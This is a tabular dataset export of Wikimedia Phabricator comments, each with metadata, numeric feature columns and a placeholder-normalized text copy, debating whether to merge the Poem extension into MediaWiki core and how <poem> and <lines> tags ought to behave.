tag.",,,1521288301,,PHID-USER-sx63fwaih5kjt7bz4u6z,False,,,PHID-TASK-bdnotllyeea37ihjkmr3,task_subcomment,,True,c1,3,False,,,245,,2.0,0.0,0.0,3.0,2.0,6.0,3.0,0.0,0.0,2.0,2.0,2.0,0.0,2.0,0.0,2.0,0.0,5.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,2.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,3.0,2.0,0.0,2.0,0.0,17.0,2.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,3.0,0.0,0.0,0.0,2.0,0.0,8.0,6.0,9.0,2.0,2.0,11.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,6.0,12.0,5.0,0.0,0.0,0.0,6.0,0.0,2.0,3.0,0.0,2.0,2.0,0.0,0.0,4.015625,0.78125,"Also, it would be nice if we could have some more attention on GERRIT_URL/. This is an obscure bug in the PHP parser that is only triggered by certain wikitext content generated by a tag extension (it can't be triggered by user-entered wikitext), and it blocks the re-implementation of CODE using the CODE tag."
1034076,Merge Poem extension into MediaWiki core,"I think https://gerrit.wikimedia.org/r/106861 is probably still relevant today (or if there is no appetite for merging into core, then the changes can be rebased on top of the extension, as seen in https://gerrit.wikimedia.org/r/#/c/328887/). I seem to recall that it fixes a number of bugs in the Poem implementation, not all of which are tracked in Phabricator. Although this was 4 years ago, so I might be wrong.",,,1521293089,,PHID-USER-sx63fwaih5kjt7bz4u6z,False,,,PHID-TASK-bdnotllyeea37ihjkmr3,task_subcomment,,True,c1,3,False,,,245,,1.0,0.0,0.0,3.0,1.0,3.0,1.0,0.0,1.0,1.0,5.0,0.0,0.0,0.0,1.0,4.0,0.0,7.0,20.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,3.0,0.0,0.0,8.0,4.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,1.0,3.0,0.0,1.0,0.0,0.0,1.0,12.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,8.0,11.0,5.0,1.0,11.0,0.0,0.0,0.0,0.0,4.0,0.0,1.0,0.0,5.0,20.0,4.0,0.0,0.0,0.0,5.0,0.0,1.0,1.0,0.0,1.0,0.0,0.0,0.0,3.7972972972972974,0.8108108108108109,"I think GERRIT_URL is probably still relevant today (or if there is no appetite for merging into core, then the changes can be rebased on top of the extension, as seen in URL I seem to recall that it fixes a number of bugs in the Poem implementation, not all of which are tracked in Phabricator. Although this was 4 years ago, so I might be wrong."
1034067,Merge Poem extension into MediaWiki core,"I think https://gerrit.wikimedia.org/r/106861 is probably still relevant today (or if there is no appetite for merging into core, then the changes can be rebased on top of the extension). I seem to recall that it fixes a number of bugs in the Poem implementation, not all of which are tracked in Phabricator. Although this was 4 years ago, so I might be wrong.",,,1521288123,,PHID-USER-sx63fwaih5kjt7bz4u6z,False,,,PHID-TASK-bdnotllyeea37ihjkmr3,task_subcomment,,True,c1,3,False,,,245,,1.0,0.0,0.0,3.0,1.0,3.0,1.0,0.0,1.0,1.0,3.0,0.0,0.0,0.0,1.0,4.0,0.0,7.0,18.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,3.0,0.0,0.0,8.0,3.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,1.0,3.0,0.0,1.0,0.0,0.0,1.0,11.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,8.0,10.0,6.0,1.0,11.0,0.0,0.0,0.0,0.0,4.0,0.0,1.0,0.0,6.0,18.0,4.0,0.0,0.0,0.0,6.0,0.0,1.0,1.0,0.0,1.0,0.0,0.0,0.0,3.816901408450704,0.8169014084507042,"I think GERRIT_URL is probably still relevant today (or if there is no appetite for merging into core, then the changes can be rebased on top of the extension). I seem to recall that it fixes a number of bugs in the Poem implementation, not all of which are tracked in Phabricator. Although this was 4 years ago, so I might be wrong."
1033912,Merge Poem extension into MediaWiki core,"This zombie bug has lurched to life again because of {T188478}.

Any chance we can come up with a sane semantics for `<poem>`/`<lines>` so that we aren't plunged into eternal darkness by trying to make a Parsoid extension bug-for-bug compatible with `<poem>`?  We have fancy new linting tools that (in theory) could help auto-migrate uses of `<poem>` if we can agree on a better replacement.",,,1521232200,,PHID-USER-m2ezqyeb4uz67zq6bats,False,,,PHID-TASK-bdnotllyeea37ihjkmr3,task_subcomment,,True,c1,3,True,,,245,,1.0,0.0,0.0,1.0,1.0,7.0,0.0,1.0,0.0,1.0,1.0,1.0,0.0,0.0,0.0,5.0,0.0,2.0,20.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,1.0,0.0,1.0,0.0,0.0,0.0,2.0,1.0,0.0,0.0,1.0,4.0,0.0,0.0,0.0,0.0,0.0,16.0,1.0,2.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,4.0,1.0,11.0,5.0,0.0,6.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,20.0,7.0,1.0,0.0,0.0,5.0,0.0,1.0,4.0,0.0,1.0,1.0,0.0,0.0,3.746987951807229,0.7831325301204819,"This zombie bug has lurched to life again because of {T188478}.

Any chance we can come up with a sane semantics for CODE/CODE so that we aren't plunged into eternal darkness by trying to make a Parsoid extension bug-for-bug compatible with CODE?  We have fancy new linting tools that (in theory) could help auto-migrate uses of CODE if we can agree on a better replacement."
783328,Merge Poem extension into MediaWiki core,"Change 106861 abandoned by TTO:
Merge Poem extension into core

Reason:
I don't intend to pursue this anymore. However, reviewers here might be interested in https://gerrit.wikimedia.org/r/328887 and https://gerrit.wikimedia.org/r/328888 .

[[https://gerrit.wikimedia.org/r/106861]]",,,1482494427,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-bdnotllyeea37ihjkmr3,task_subcomment,,True,c1,3,False,,,181,,0.0,0.0,0.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,5.0,2.0,0.0,0.0,0.0,2.0,0.0,9.0,9.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,7.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,23.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,7.0,0.0,2.0,0.0,2.0,9.0,14.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,4.093023255813954,0.813953488372093,"Change 106861 abandoned by TTO:
Merge Poem extension into core

Reason:
I don't intend to pursue this anymore. However, reviewers here might be interested in GERRIT_URL and GERRIT_URL .

[[GERRIT_URL]]"
783242,Merge Poem extension into MediaWiki core,"I'm not really interested in this anymore. Instead, I might try getting the automatic line numbering functionality requested in T15644 into the Poem extension, which would make the Poem extension a bit bigger and more worthwhile.",,,1482474275,,PHID-USER-sx63fwaih5kjt7bz4u6z,False,,,PHID-TASK-bdnotllyeea37ihjkmr3,task_subcomment,,True,c1,3,False,,,181,,0.0,0.0,0.0,0.0,2.0,10.0,0.0,0.0,0.0,0.0,7.0,2.0,0.0,0.0,0.0,5.0,0.0,12.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,2.0,2.0,5.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,15.0,0.0,2.0,15.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,7.0,7.0,0.0,0.0,0.0,5.0,0.0,2.0,2.0,0.0,2.0,5.0,0.0,0.0,4.7317073170731705,0.8048780487804879,"I'm not really interested in this anymore. Instead, I might try getting the automatic line numbering functionality requested in T15644 into the Poem extension, which would make the Poem extension a bit bigger and more worthwhile."
536857,Merge Poem extension into MediaWiki core,">>! In T54061#1672245, @cscott wrote:
> In particular, I'm interested in hearing more from @GOIII about:
>> . . .
> Lets get a spec for `<lines>` written down in such a way that we can discuss issues like this:

> * Should the tags be forced to be on their own lines?  (The current implementation doesn't force this.)
Depends. Will the new tag mimic the standard behavior of a <DIV> attribute's //display:block// or the behavior of a <P> attribute's //display:block// under the wiki mark-up/parser/parsoid? 

The whole damnblasted issue comes back first and formost to the auto insertion of an opening <P> tag at every seemingly first detected line start. That's the current quirk; whether or not content placement starts after //or// under the poem tag. In other terms using the basic underlying html when it comes to the <poem> tag, it's ....

<poem>First line
<p>second line</br>
third line</br>
last line</p></poem>

... versus ...

<poem>
<p>First line</br>
second line</br>
third line</br>
last line</p>
</poem>

The 2nd version is //closer// to reflecting normal/expected behavior based on the ""substitution"" of <poem> for <div> but its still not quite right because of the attributes <p> automatically follows as defined elsewhere by some number of .css files 'handed down' by mediawiki by default. The optimal ""underlying"" html should behave as a true DIV tag (//display:block//) should and there should be no <P> element or behavior anywhere in play here.

Taking the same two possible placements of content start (immediately after or immediately under) as above but substituting <div> for <poem>, the ""underlying"" html should go something like this ... 

<div class=poem>First line</br>
second line</br>
third line</br>
last line</br></div>

... versus ...

<div class=poem>
First line</br>
second line</br>
third line</br>
last line</br>
</div>

Obviously, consensus still needs to be reached whether or not there should be a </br> at the end of the 'last line' found immediately before the closing tag, but regardless of //after// or //under// placement by the contributor, both render the same. The takeaway here should be __killing the presence and/or behavior of that mark-up induced opening <p> tag for any of this to truly be worthwhile imho__.
 
> * Can you write `<lines class=""foo"">`?  Does this override the default ""poem"" and ""mw-lines"" classes, or add to them?  Is this sufficient for the different styling @GOIII describes?  (The current implementation doesn't allow extra classes.)
Imho, manually adding a class= statement should add or enhance the default. 

> * What should the Parsoid representation be?
Not sure what exactly you're looking for here

> * What if somebody writes `<pre class=""poem mw-lines"">` in wikitext?  That's valid wikitext.  Should Parsoid try to re-serialize this as a `<lines>` tag?
Probably not as the <pre> tag introduces background-color and borders which is not likely to be in high demand as far as Wikisource goes. I can't speak for other projects however.

I'm not even sure the current <pre> scheme follows the ""new"" css3 properties of //white-space: pre-wrap// or //white-space: pre-line// for that matter. 

> * Generally styles hard-coded by mediawiki core are prefixed.  The `poem` class is not.
I would hope the accepted practices and/or appropriate procedures would dictate this.

> * If `<poem>` is aliased to `<lines>`, are we going to break all of wikisource overnight?
Building an all encompassing testbed on //test2.wikipedia.org// to experiment against prior to roll out seems like the logical way to address such concerns in my view. 

> * Is a recursive parse strategy really appropriate?  It means that `<lines>` and `<pre>` are going to grow additional inconsistencies on the edge cases.  For example, `'''foo<lines>bar'''bat` could get rather confused about its `<b>`s. 
I'd need more clarity re: the direction ultimately taken regarding the earlier points to reply here 

",,,1443489871,,PHID-USER-fflcyhesfpbopooupqa3,False,,,PHID-TASK-bdnotllyeea37ihjkmr3,task_subcomment,,True,c1,3,False,,,117,,0.5714285714285714,0.14285714285714285,0.0,0.14285714285714285,1.1428571428571428,6.428571428571429,0.7142857142857143,0.14285714285714285,0.0,0.0,1.5714285714285714,1.1428571428571428,0.0,0.0,0.2857142857142857,0.7142857142857143,0.7142857142857143,5.714285714285714,9.142857142857142,0.14285714285714285,1.0,1.0,0.0,0.2857142857142857,0.0,0.14285714285714285,0.0,0.2857142857142857,0.0,0.5714285714285714,0.14285714285714285,2.4285714285714284,0.7142857142857143,0.42857142857142855,0.42857142857142855,0.14285714285714285,0.14285714285714285,0.0,0.7142857142857143,0.14285714285714285,0.0,0.0,0.5714285714285714,1.4285714285714286,0.0,0.14285714285714285,0.0,0.0,0.0,12.428571428571429,0.42857142857142855,0.42857142857142855,0.0,0.14285714285714285,0.14285714285714285,0.2857142857142857,0.0,0.0,0.0,0.14285714285714285,0.0,0.14285714285714285,0.14285714285714285,0.14285714285714285,0.14285714285714285,0.14285714285714285,0.0,5.571428571428571,1.1428571428571428,5.714285714285714,0.5714285714285714,2.2857142857142856,7.428571428571429,0.0,0.0,0.0,0.0,3.142857142857143,0.0,0.2857142857142857,0.0,1.2857142857142858,9.142857142857142,6.857142857142857,0.14285714285714285,1.7142857142857142,0.0,1.2857142857142858,0.0,0.42857142857142855,1.0,0.0,1.5714285714285714,0.2857142857142857,0.0,8.0,3.901658640984483,0.6594613875512751,"QUOTE
QUOTE
QUOTE
QUOTE

QUOTE
Depends. Will the new tag mimic the standard behavior of a <DIV> attribute's //display:block// or the behavior of a <P> attribute's //display:block// under the wiki mark-up/parser/parsoid? 

The whole damnblasted issue comes back first and formost to the auto insertion of an opening <P> tag at every seemingly first detected line start. That's the current quirk; whether or not content placement starts after //or// under the poem tag. In other terms using the basic underlying html when it comes to the <poem> tag, it's ....

<poem>First line
<p>second line</br>
third line</br>
last line</p></poem>

... versus ...

<poem>
<p>First line</br>
second line</br>
third line</br>
last line</p>
</poem>

The 2nd version is //closer// to reflecting normal/expected behavior based on the ""substitution"" of <poem> for <div> but its still not quite right because of the attributes <p> automatically follows as defined elsewhere by some number of .css files 'handed down' by mediawiki by default. The optimal ""underlying"" html should behave as a true DIV tag (//display:block//) should and there should be no <P> element or behavior anywhere in play here.

Taking the same two possible placements of content start (immediately after or immediately under) as above but substituting <div> for <poem>, the ""underlying"" html should go something like this ... 

<div class=poem>First line</br>
second line</br>
third line</br>
last line</br></div>

... versus ...

<div class=poem>
First line</br>
second line</br>
third line</br>
last line</br>
</div>

Obviously, consensus still needs to be reached whether or not there should be a </br> at the end of the 'last line' found immediately before the closing tag, but regardless of //after// or //under// placement by the contributor, both render the same. The takeaway here should be __killing the presence and/or behavior of that mark-up induced opening <p> tag for any of this to truly be worthwhile imho__.
 
QUOTE
Imho, manually adding a class= statement should add or enhance the default. 

QUOTE
Not sure what exactly you're looking for here

QUOTE
Probably not as the <pre> tag introduces background-color and borders which is not likely to be in high demand as far as Wikisource goes. I can't speak for other projects however.

I'm not even sure the current <pre> scheme follows the ""new"" css3 properties of //white-space: pre-wrap// or //white-space: pre-line// for that matter. 

QUOTE
I would hope the accepted practices and/or appropriate procedures would dictate this.

QUOTE
Building an all encompassing testbed on //test2.wikipedia.org// to experiment against prior to roll out seems like the logical way to address such concerns in my view. 

QUOTE
I'd need more clarity re: the direction ultimately taken regarding the earlier points to reply here 

"
534560,Merge Poem extension into MediaWiki core,"In particular, I'm interested in hearing more from @GOIII about:
> force the opening and closing poem tags to always reside on their own lines
and
> ways to use empty inline-blocks to ''handle'' not only stanza spacing; but indentation and eol padding as well. Making attribute manipulation easier through the opening (margin-top) or closing (margin-bottom) tags of Line itself could dramatically cut down on stuff like that.
Lets get a spec for `<lines>` written down in such a way that we can discuss issues like this:
* Should the tags be forced to be on their own lines?  (The current implementation doesn't force this.)
* Can you write `<lines class=""foo"">`?  Does this override the default ""poem"" and ""mw-lines"" classes, or add to them?  Is this sufficient for the different styling @GOIII describes?  (The current implementation doesn't allow extra classes.)
* What should the Parsoid representation be?
* What if somebody writes `<pre class=""poem mw-lines"">` in wikitext?  That's valid wikitext.  Should Parsoid try to re-serialize this as a `<lines>` tag?
* Generally styles hard-coded by mediawiki core are prefixed.  The `poem` class is not.
* If `<poem>` is aliased to `<lines>`, are we going to break all of wikisource overnight?
* Is a recursive parse strategy really appropriate?  It means that `<lines>` and `<pre>` are going to grow additional inconsistencies on the edge cases.  For example, `'''foo<lines>bar'''bat` could get rather confused about its `<b>`s. ",,,1443122831,,PHID-USER-m2ezqyeb4uz67zq6bats,False,,,PHID-TASK-bdnotllyeea37ihjkmr3,task_subcomment,,True,c1,3,True,,,116,,0.3333333333333333,0.3333333333333333,0.0,1.3333333333333333,1.0,5.0,1.0,0.0,0.0,0.6666666666666666,2.0,1.0,0.0,0.0,0.0,1.0,0.0,3.3333333333333335,9.666666666666666,0.3333333333333333,1.6666666666666667,1.0,0.0,0.3333333333333333,0.0,0.3333333333333333,0.0,0.0,1.0,0.0,0.0,5.666666666666667,0.6666666666666666,1.0,1.3333333333333333,0.3333333333333333,0.0,0.0,0.3333333333333333,0.3333333333333333,0.0,0.6666666666666666,0.0,1.0,0.0,0.0,0.3333333333333333,0.0,0.3333333333333333,10.0,1.3333333333333333,0.6666666666666666,0.3333333333333333,1.0,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,0.3333333333333333,0.6666666666666666,0.0,0.0,0.3333333333333333,0.0,0.0,4.333333333333333,4.0,12.666666666666666,1.3333333333333333,1.3333333333333333,7.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,3.0,9.666666666666666,6.0,3.3333333333333335,1.3333333333333333,0.0,3.0,0.0,1.0,1.3333333333333333,0.3333333333333333,1.3333333333333333,0.3333333333333333,0.0,0.0,3.790598290598291,0.7435897435897436,"In particular, I'm interested in hearing more fromSCREEN_NAME about:
QUOTE
and
QUOTE
Lets get a spec for CODE written down in such a way that we can discuss issues like this:
* Should the tags be forced to be on their own lines?  (The current implementation doesn't force this.)
* Can you write CODE?  Does this override the default ""poem"" and ""mw-lines"" classes, or add to them?  Is this sufficient for the different stylingSCREEN_NAME describes?  (The current implementation doesn't allow extra classes.)
* What should the Parsoid representation be?
* What if somebody writes CODE in wikitext?  That's valid wikitext.  Should Parsoid try to re-serialize this as a CODE tag?
* Generally styles hard-coded by mediawiki core are prefixed.  The CODE class is not.
* If CODE is aliased to CODE, are we going to break all of wikisource overnight?
* Is a recursive parse strategy really appropriate?  It means that CODE and CODE are going to grow additional inconsistencies on the edge cases.  For example, CODE could get rather confused about its CODEs. "
534535,Merge Poem extension into MediaWiki core,"From Parsoid's perspective, the biggest problem with `<lines>` is unclear semantics.

I suggest that this patch go through the RFC process first.  Let's write up a document which describes exactly how we want `<lines>` to behave.  We should also discuss deployment strategy in the RFC -- should we turn off support in core until Parsoid and VE also support it?  Or implement stopgap support which doesn't allow editing sections which contain `<lines>` (treating it an an ""unknown extension""), or what?

And what is our strategy for migrating existing `<poem>` content to `<lines>`?  Is there an automatic translation?  Or are some details of the semantics going to trip us up when we try to convert existing content?

As @GOIII states, our paragraph handling in the wikitext parser is already extremely complex, and there are a lot of existing workarounds which depend on details of `<poem>` in order to obtain specific effects in poetry.  If we're going to create a new feature, let's make sure it can actually handle all the things that folks want it to do, without crazy hacks.",,,1443121493,,PHID-USER-m2ezqyeb4uz67zq6bats,False,,,PHID-TASK-bdnotllyeea37ihjkmr3,task_subcomment,,True,c1,3,True,,,116,,0.6666666666666666,0.0,0.3333333333333333,0.0,0.3333333333333333,4.0,1.0,0.0,0.0,0.3333333333333333,2.0,0.6666666666666666,0.0,0.0,0.6666666666666666,3.3333333333333335,0.0,3.6666666666666665,10.666666666666666,0.0,2.3333333333333335,0.6666666666666666,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.3333333333333333,0.0,0.3333333333333333,6.0,0.0,1.6666666666666667,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.3333333333333333,0.0,0.0,0.3333333333333333,0.0,0.3333333333333333,12.666666666666666,0.0,0.3333333333333333,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.6666666666666666,0.3333333333333333,0.3333333333333333,1.0,0.0,0.0,0.3333333333333333,1.3333333333333333,0.0,4.666666666666667,2.3333333333333335,7.333333333333333,1.3333333333333333,2.0,7.333333333333333,0.0,0.0,0.0,0.0,6.333333333333333,0.0,0.0,0.0,5.666666666666667,10.666666666666666,3.6666666666666665,1.6666666666666667,0.6666666666666666,0.0,5.666666666666667,0.0,3.3333333333333335,2.3333333333333335,0.3333333333333333,2.6666666666666665,0.0,0.3333333333333333,0.0,4.160160965794769,0.7926224010731052,"From Parsoid's perspective, the biggest problem with CODE is unclear semantics.

I suggest that this patch go through the RFC process first.  Let's write up a document which describes exactly how we want CODE to behave.  We should also discuss deployment strategy in the RFC -- should we turn off support in core until Parsoid and VE also support it?  Or implement stopgap support which doesn't allow editing sections which contain CODE (treating it an an ""unknown extension""), or what?

And what is our strategy for migrating existing CODE content to CODE?  Is there an automatic translation?  Or are some details of the semantics going to trip us up when we try to convert existing content?

AsSCREEN_NAME states, our paragraph handling in the wikitext parser is already extremely complex, and there are a lot of existing workarounds which depend on details of CODE in order to obtain specific effects in poetry.  If we're going to create a new feature, let's make sure it can actually handle all the things that folks want it to do, without crazy hacks."
395536,Merge Poem extension into MediaWiki core,"> **Merge Poem extension into MediaWiki core**
Well now.... I've found the most interesting patch to watch for 2015.  If //$paragraphStack// is going to have a [greater] role when it comes to Poem's application - I'm sure no harm can ever come of it.
</sarcasm off>

Seriously - I hope whenever this move goes through, its given a week of vetting on test/test2 before its deployed to the usual suspects in a formal build. And, while I'm of like mind in the assessment it should have never existed in the manner that it has to date & the //Line//s alternative would be the best route to follow - there are sooo many people that depend on it on an almost daily basis just on Wikisource alone that I would not have the nuts to screw around with it like this.

Truthfully, the issues with the tag to date have mostly been over the User:s response on occasion to the parser's `<p><br /></p>` effect compounded by the esoteric formatting typically done via template are both really where the ''blame'' should go than anything found in the extension itself. Admittedly, the choice //not// to force the opening and closing poem tags to always reside on their __own lines__ upon save & rendering starting on day-one with it's introduction sure hasn't helped matters either.

I implore you to mirror `.mw-body`s definition of `P` rather than the one(s) found in `Elements.css` -- those values are all long usurped by the time the page finishes loading its 1st click-in of the session. You'll find that `0.1`//em// less between the two definitions in //margin-top// is hard to catch initially... until the `1.5`em `line-height` setting is replaced [again?]  -- setting it  [back?] to //inherit// that is.

The last thing that comes mind would be more of an enhancement (like in T15644) than a bug . //Had// Poem been crafted to force it's tags to their own line/line-starts, the closing tag of the previous stanza would ''land'' right above the opening tag of the stanza that followed more often than not. This would be desirable because the ''gap'' between verses or stanzas are rarely as small as the predefined paragraph's are. Contributor's frequently came up with all sorts of ways to use empty inline-blocks to ''handle'' not only stanza spacing; but indentation and eol padding as well. Making attribute manipulation easier through the opening (//margin-top//) or closing (//margin-bottom//) tags of //Line// itself could dramatically cut down on stuff like that.",,,1420497073,,PHID-USER-fflcyhesfpbopooupqa3,False,,,PHID-TASK-bdnotllyeea37ihjkmr3,task_subcomment,,True,c1,3,False,,,79,,0.6,0.2,0.0,0.4,0.8,4.8,1.4,0.2,0.0,0.2,2.2,2.6,0.0,0.4,0.4,1.2,0.2,7.8,15.4,0.2,2.2,0.4,0.2,0.2,0.6,0.4,0.0,0.4,0.4,1.2,0.2,4.8,1.2,2.8,0.0,0.4,0.0,0.0,0.4,0.2,0.2,0.4,0.6,2.2,0.0,0.6,0.2,0.6,0.2,16.2,0.8,0.6,0.0,1.0,0.0,0.4,0.0,0.6,0.2,0.2,0.2,1.2,0.2,0.0,0.4,0.6,0.2,7.2,2.6,6.0,1.8,1.6,9.2,0.0,0.0,0.0,0.0,4.2,0.8,0.6,0.0,4.8,15.4,2.4,0.4,0.0,0.0,4.8,0.0,1.4,1.2,0.4,1.4,1.0,0.4,1.4,4.0150072150072145,0.7591012162440733,"QUOTE
Well now.... I've found the most interesting patch to watch for 2015.  If //$paragraphStack// is going to have a [greater] role when it comes to Poem's application - I'm sure no harm can ever come of it.
</sarcasm off>

Seriously - I hope whenever this move goes through, its given a week of vetting on test/test2 before its deployed to the usual suspects in a formal build. And, while I'm of like mind in the assessment it should have never existed in the manner that it has to date & the //Line//s alternative would be the best route to follow - there are sooo many people that depend on it on an almost daily basis just on Wikisource alone that I would not have the nuts to screw around with it like this.

Truthfully, the issues with the tag to date have mostly been over the User:s response on occasion to the parser's CODE effect compounded by the esoteric formatting typically done via template are both really where the ''blame'' should go than anything found in the extension itself. Admittedly, the choice //not// to force the opening and closing poem tags to always reside on their __own lines__ upon save & rendering starting on day-one with it's introduction sure hasn't helped matters either.

I implore you to mirror CODEs definition of CODE rather than the one(s) found in CODE -- those values are all long usurped by the time the page finishes loading its 1st click-in of the session. You'll find that CODE//em// less between the two definitions in //margin-top// is hard to catch initially... until the CODEem CODE setting is replaced [again?]  -- setting it  [back?] to //inherit// that is.

The last thing that comes mind would be more of an enhancement (like in T15644) than a bug . //Had// Poem been crafted to force it's tags to their own line/line-starts, the closing tag of the previous stanza would ''land'' right above the opening tag of the stanza that followed more often than not. This would be desirable because the ''gap'' between verses or stanzas are rarely as small as the predefined paragraph's are. Contributor's frequently came up with all sorts of ways to use empty inline-blocks to ''handle'' not only stanza spacing; but indentation and eol padding as well. Making attribute manipulation easier through the opening (//margin-top//) or closing (//margin-bottom//) tags of //Line// itself could dramatically cut down on stuff like that."
395133,Merge Poem extension into MediaWiki core,"> **Merge Poem extension into MediaWiki core**
Well now.... I've found the most interesting patch to watch for 2015.  If //$paragraphStack// is going to have a [greater] role when it comes to Poem's application - I'm sure no harm can ever come of it.
</sarcasm off>

Seriously - I hope whenever this move goes through, its given a week of vetting on test/test2 before its deployed to the usual suspects in a formal build. And, while I'm of like mind in the assessment it should have never existed in the manner that it has to date & the //lines// alternative would be the best route to follow - there are sooo many people that depend on it on an almost daily basis just on Wikisource alone that I would not have the nuts to screw around with it like this.

Truthfully, the issues with the tag to date have mostly been over the User:s response on occasion to the parser's `<p><br /></p>` effect compounded by the esoteric formatting typically done via template are both really where the ''blame'' should go than anything found in the extension itself. Admittedly, the choice //not// to force the opening and closing poem tags to always reside on their __own lines__ upon save & rendering starting on day-one with it's introduction sure hasn't helped matters either.

I implore you to mirror `.mw-body`s definition of `P` rather than the one(s) found in `Elements.css` -- those values are all long usurped by the time the page finishes loading its 1st click-in of the session. You'll find that `0.1`//em// less between the two definitions in //margin-top// is hard to catch initially... until the `1.5`em `line-height` setting is replaced [again?]  -- setting it  [back?] to //inherit// that is.

The last thing that comes mind would be more of an enhancement (like in T15644) than a bug . //Had// Poem been crafted to force it's tags to their own line/line-starts, the closing tag of the previous stanza would ''land'' right above the opening tag of the stanza that followed more often than not. This would be desirable because the ''gap'' between verses or stanzas are rarely as small as the predefined paragraph's are. Contributor's frequently came up with all sorts of ways to use empty inline-blocks to ''handle'' not only stanza spacing; but indentation and eol padding as well. Making attribute manipulation easier through the opening (//margin-top//) or closing (//margin-bottom) tags of //Line// itself could dramatically cut down on stuff like that.",,,1420453788,,PHID-USER-fflcyhesfpbopooupqa3,False,,,PHID-TASK-bdnotllyeea37ihjkmr3,task_subcomment,,True,c1,3,False,,,79,,0.6,0.2,0.0,0.4,0.8,4.8,1.4,0.2,0.0,0.2,2.2,2.6,0.0,0.4,0.4,1.2,0.2,7.8,15.4,0.2,2.2,0.4,0.2,0.2,0.6,0.4,0.0,0.4,0.4,1.2,0.2,4.8,1.2,2.8,0.0,0.4,0.0,0.0,0.4,0.2,0.2,0.4,0.6,2.2,0.0,0.6,0.2,0.6,0.2,16.2,0.8,0.6,0.0,1.0,0.0,0.4,0.0,0.6,0.2,0.2,0.2,1.2,0.2,0.0,0.4,0.6,0.2,7.2,2.6,6.0,1.8,1.6,9.2,0.0,0.0,0.0,0.0,4.2,0.8,0.6,0.0,4.8,15.4,2.4,0.4,0.0,0.0,4.8,0.0,1.4,1.2,0.4,1.4,1.0,0.4,1.4,4.010925582354153,0.7591012162440733,"QUOTE
Well now.... I've found the most interesting patch to watch for 2015.  If //$paragraphStack// is going to have a [greater] role when it comes to Poem's application - I'm sure no harm can ever come of it.
</sarcasm off>

Seriously - I hope whenever this move goes through, its given a week of vetting on test/test2 before its deployed to the usual suspects in a formal build. And, while I'm of like mind in the assessment it should have never existed in the manner that it has to date & the //lines// alternative would be the best route to follow - there are sooo many people that depend on it on an almost daily basis just on Wikisource alone that I would not have the nuts to screw around with it like this.

Truthfully, the issues with the tag to date have mostly been over the User:s response on occasion to the parser's CODE effect compounded by the esoteric formatting typically done via template are both really where the ''blame'' should go than anything found in the extension itself. Admittedly, the choice //not// to force the opening and closing poem tags to always reside on their __own lines__ upon save & rendering starting on day-one with it's introduction sure hasn't helped matters either.

I implore you to mirror CODEs definition of CODE rather than the one(s) found in CODE -- those values are all long usurped by the time the page finishes loading its 1st click-in of the session. You'll find that CODE//em// less between the two definitions in //margin-top// is hard to catch initially... until the CODEem CODE setting is replaced [again?]  -- setting it  [back?] to //inherit// that is.

The last thing that comes mind would be more of an enhancement (like in T15644) than a bug . //Had// Poem been crafted to force it's tags to their own line/line-starts, the closing tag of the previous stanza would ''land'' right above the opening tag of the stanza that followed more often than not. This would be desirable because the ''gap'' between verses or stanzas are rarely as small as the predefined paragraph's are. Contributor's frequently came up with all sorts of ways to use empty inline-blocks to ''handle'' not only stanza spacing; but indentation and eol padding as well. Making attribute manipulation easier through the opening (//margin-top//) or closing (//margin-bottom) tags of //Line// itself could dramatically cut down on stuff like that."
395132,Merge Poem extension into MediaWiki core,"> **Merge Poem extension into MediaWiki core**
Well now.... I've found the most interesting patch to watch for 2015.  If //$paragraphStack// is going to have a [greater] role when it comes to Poem's application - I'm sure no harm can ever come of it.
</sarcasm off>

Seriously - I hope whenever this move goes through, its given a week of vetting on test/test2 before its deployed to the usual suspects in a formal build. And, while I'm of like mind in the assessment it should have never existed in the manner that it has to date & the //lines// alternative would be the best route to follow - there are sooo many people that depend on it on an almost daily basis just on Wikisource alone that I would not have the nuts to screw around with it like this.

